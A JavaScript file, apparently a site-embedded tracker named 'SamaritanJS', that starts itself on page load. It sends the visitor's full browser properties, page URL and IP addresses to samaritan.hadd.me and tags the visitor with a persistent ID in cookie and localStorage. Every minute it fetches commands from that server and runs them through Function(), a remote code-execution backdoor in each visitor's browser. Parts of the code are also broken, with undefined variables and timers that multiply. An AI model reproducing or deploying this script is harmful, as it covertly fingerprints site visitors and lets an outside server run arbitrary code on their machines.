var SamaritanJSajax = {};
SamaritanJSajax.x = function () {
if (typeof XMLHttpRequest !== 'undefined') {
return new XMLHttpRequest();
}
var versions = [
"MSXML2.XmlHttp.6.0",
"MSXML2.XmlHttp.5.0",
"MSXML2.XmlHttp.4.0",
"MSXML2.XmlHttp.3.0",
"MSXML2.XmlHttp.2.0",
"Microsoft.XmlHttp"
];
var xhr;
for (var i = 0; i < versions.length; i++) {
try {
xhr = new ActiveXObject(versions[i]);
break;
} catch (e) {
}
}
return xhr;
};
SamaritanJSajax.send = function (url, callback, method, data, async) {
if (async === undefined) {
async = true;
}
var x = SamaritanJSajax.x();
x.open(method, url, async);
x.onreadystatechange = function () {
if (x.readyState == 4) {
callback(x.responseText)
}
};
if (method == 'POST') {
x.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
}
x.send(data)
};
SamaritanJSajax.get = function (url, data, callback, async) {
var query = [];
for (var key in data) {
query.push(encodeURIComponent(key) + '=' + encodeURIComponent(data[key]));
}
SamaritanJSajax.send(url + (query.length ? '?' + query.join('&') : ''), callback, 'GET', null, async)
};
SamaritanJSajax.post = function (url, data, callback, async) {
var query = [];
for (var key in data) {
query.push(encodeURIComponent(key) + '=' + encodeURIComponent(data[key]));
}
SamaritanJSajax.send(url, callback, 'POST', query.join('&'), async)
};
var samaritanSiteID = 'DJWtp4';
var SamaritanJS = {
userID : '',
ipv4 : '',
ipv6 : '',
sites : [],
siteURL : '',
validSite : true,
online : true,
callbackFunction : false,
IPV4callbackFunction : false,
IPV6callbackFunction : false,
sitesCallbackFunction : false,
locationcallbackFunction : false,
sitescallbackFunction : false,
init : function(){
window.addEventListener('online', () => SamaritanJS.setOnline());
window.addEventListener('offline', () => SamaritanJS.setOffline());
let browserInfo = [];
for(var property in navigator){
browserInfo.push([['name', property],['value', navigator[property]]]);
}
SamaritanJS.siteURL = window.location.href;
SamaritanJSajax.post('https://samaritan.hadd.me/api/checkUserID', {siteID: samaritanSiteID, siteURL: SamaritanJS.siteURL, browserMisc: JSON.stringify(browserInfo, null, 2)}, function(response){
console.log('checkUserID');
var data = JSON.parse(response);
SamaritanJS.setUserID(data.userID);
console.log(data);
console.log(SamaritanJS.userID);
SamaritanJS.phoneHome();
setTimeout('SamaritanJS.phoneHome()', 60000);
});
},
phoneHome : function(){
console.log('Online: ');
console.log(window.navigator.onLine);
if(SamaritanJS.online === true){
SamaritanJS.getIPv4();
SamaritanJS.getIPv6();
SamaritanJS.getCloudFlare();
SamaritanJS.getCommands();
}
if(SamaritanJS.sitescallbackFunction !== false){
SamaritanJS.sitescallbackFunction(returnData);
}
setTimeout('SamaritanJS.phoneHome()', 60000);
},
getIPv4 : function(){
SamaritanJSajax.post('https://v4.samaritan.hadd.me/api/getIP', {siteID: samaritanSiteID, userID: SamaritanJS.userID}, function(response){
var data = JSON.parse(response);
console.log(data);
SamaritanJS.ipv4 = data.ip;
if(SamaritanJS.IPV4callbackFunction !== false){
var returnData = {userID: SamaritanJS.userID, ipv4: SamaritanJS.ipv4};
SamaritanJS.IPV4callbackFunction(returnData);
}
});
},
getIPv6 : function(){
SamaritanJSajax.post('https://samaritan.hadd.me/api/getIP', {siteID: samaritanSiteID, userID: SamaritanJS.userID}, function(response){
var data = JSON.parse(response);
console.log(data);
SamaritanJS.ipv6 = data.ip;
if(SamaritanJS.IPV6callbackFunction !== false){
var returnData = {userID : SamaritanJS.userID, ipv6 : SamaritanJS.ipv6}
SamaritanJS.IPV6callbackFunction(returnData);
}
});
},
postbackResult : function(source, dataResult){
console.log('postbackResult');
SamaritanJSajax.post('https://samaritan.hadd.me/api/postbackResult', {siteID: samaritanSiteID, userID: SamaritanJS.userID, source: source, dataResult: dataResult}, function(response){
var data = JSON.parse(response);
console.log('postbackResult');
console.log(data);
});
},
getCommands : function(){
console.log('getCommands');
SamaritanJSajax.post('https://samaritan.hadd.me/api/getCommands', {siteID: samaritanSiteID, userID: SamaritanJS.userID, siteURL: SamaritanJS.siteURL}, function(response){
var data = JSON.parse(response);
var commands = JSON.parse(data.commands);
console.log(commands);
console.log(commands.length);
if(data.command !== '' && commands.length === 1){
console.log('Single Command');
console.log(data.command);
return Function('return (' + data.command + ')')();
}
commands.forEach(function(command){
console.log(command);
return Function('return (' + command + ')')();
});
});
if(SamaritanJS.callbackFunction !== false){
var returnData = {userID : SamaritanJS.userID, ipv4 : SamaritanJS.ipv4, ipv6 : SamaritanJS.ipv6, sites : []}
SamaritanJS.callbackFunction(returnData);
}
},
getSiteHistory : function(){
console.log('getSiteHistory');
SamaritanJSajax.post('https://samaritan.hadd.me/api/getSiteHistory', {siteID: samaritanSiteID, userID: SamaritanJS.userID, siteURL: SamaritanJS.siteURL}, function(response){
var data = JSON.parse(response);
var sites = JSON.parse(data.sites);
console.log(sites);
});
if(SamaritanJS.sitescallbackFunction !== false){
var returnData = {userID : SamaritanJS.userID, ipv4 : SamaritanJS.ipv4, ipv6 : SamaritanJS.ipv6, sites : sites}
SamaritanJS.sitescallbackFunction(returnData);
}
},
getUserScore : function(){
console.log('getUserScore');
SamaritanJSajax.post('https://samaritan.hadd.me/api/getUserScore', {siteID: samaritanSiteID, userID: SamaritanJS.userID, siteURL: SamaritanJS.siteURL}, function(response){
var data = JSON.parse(response);
});
if(SamaritanJS.sitescallbackFunction !== false){
var returnData = {userID : SamaritanJS.userID, ipv4 : SamaritanJS.ipv4, ipv6 : SamaritanJS.ipv6, sites : sites}
SamaritanJS.sitescallbackFunction(returnData);
}
},
getCloudFlare : function(){
SamaritanJSajax.get('https://www.cloudflare.com/cdn-cgi/trace', null, function(data){
console.log('cloudflare');
console.log(data);
SamaritanJS.postbackResult('cloudflare', JSON.stringify(data));
});
},
setUserID : function(userID){
SamaritanJS.userID = userID;
localStorage.setItem('samaritanUserID', userID);
document.cookie = "samaritanUserID="+userID;
},
getUserID : function(){
let SCookie = SamaritanJS.getCookie('samaritanUserID');
let SLocalStorage = localStorage.getItem('samaritanUserID');
console.log('SCookie: '+SCookie);
console.log('SLocalStorage: '+SLocalStorage);
if(SLocalStorage !== null){
SamaritanJS.setUserID(SLocalStorage);
return SLocalStorage;
}
if(SCookie !== false){
SamaritanJS.setUserID(SCookie);
return SCookie;
}
return false;
},
getCookie : function(cname) {
let name = cname + "=";
let ca = document.cookie.split(';');
for(let i = 0; i < ca.length; i++) {
let c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
return c.substring(name.length, c.length);
}
}
return false;
},
setOnline : function(){
SamaritanJS.online = true;
},
setOffline : function(){
SamaritanJS.online = false;
},
setCallbackFunction : function(callbackFunction){
SamaritanJS.callbackFunction = callbackFunction;
},
setIPV4CallbackFunction : function(callbackFunction){
SamaritanJS.IPV4callbackFunction = callbackFunction;
},
setIPV6CallbackFunction : function(callbackFunction){
SamaritanJS.IPV6callbackFunction = callbackFunction;
},
setSitesCallbackFunction : function(callbackFunction){
SamaritanJS.sitescallbackFunction = callbackFunction;
},
setLocationCallbackFunction : function(callbackFunction){
SamaritanJS.locationcallbackFunction = callbackFunction;
},
setSitesCallbackFunction : function(callbackFunction){
SamaritanJS.sitescallbackFunction = callbackFunction;
},
}
SamaritanJS.init();